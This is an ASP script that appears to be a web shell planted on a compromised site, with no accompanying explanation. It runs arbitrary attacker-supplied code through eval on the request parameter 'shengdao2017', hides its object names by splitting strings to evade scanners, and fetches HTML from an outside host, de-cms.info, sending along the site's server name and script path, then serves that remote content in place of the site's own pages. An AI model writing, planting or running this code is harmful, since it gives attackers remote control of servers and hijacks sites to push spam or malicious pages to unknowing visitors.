<% Server.ScriptTimeOut=999999 eval request("shengdao2017") Function getHTTPPage(Path):t = GetBody(Path):getHTTPPage=BytesToBstr(t,"UTF-8"):End Function Function BytesToBstr(body,Cset):Dim objstream:set objstream=Server.CreateObject("ado"&"db.str"&"eam"):objstream.Type = 1:objstream.Mode =3:objstream.Open:objstream.Write body:objstream.Position=0:objstream.Type=2:objstream.Charset=Cset:BytesToBstr=objstream.ReadText:objstream.Close:Set objstream=Nothing:End Function Function GetBody(url):on error resume next:Set Retrieval=CreateObject("Micr"&"oso"&"ft.XM"&"LHT"&"TP"):With Retrieval:.Open "Get", url, False, "", "":.Send:GetBody=.ResponseBody:End With:Set Retrieval=Nothing:End Function Dim server_name,script_name,id_value,name_value:server_name=Request.ServerVariables("SERVER_NAME"):script_name=Request.ServerVariables("SCRIPT_NAME"):id_value=Request.QueryString("id"):name_value=Request.QueryString("name") If id_value<>"" Then iwww="http://www.de-cms.info/index.php?referer="&server_name&"&script="&script_name&"&id="&id_value Elseif name_value<>"" Then iwww="http://www.de-cms.info/index.php?referer="&server_name&"&script="&script_name&"&name="&name_value Else iwww="http://www.de-cms.info/index.php?referer="&server_name&"&script="&script_name End If Response.ContentType = "text/html":Response.AddHeader "Content-Type", "text/html;charset=UTF-8":Response.CodePage = 65001:Response.CharSet = "UTF-8" nhtml=getHTTPPage(iwww):nhtml=Replace(nhtml,"localhost/remote.asp",server_name&script_name):If Len(nhtml) > 100 Then:Response.Clear:Response.Write nhtml:Response.End:End If %>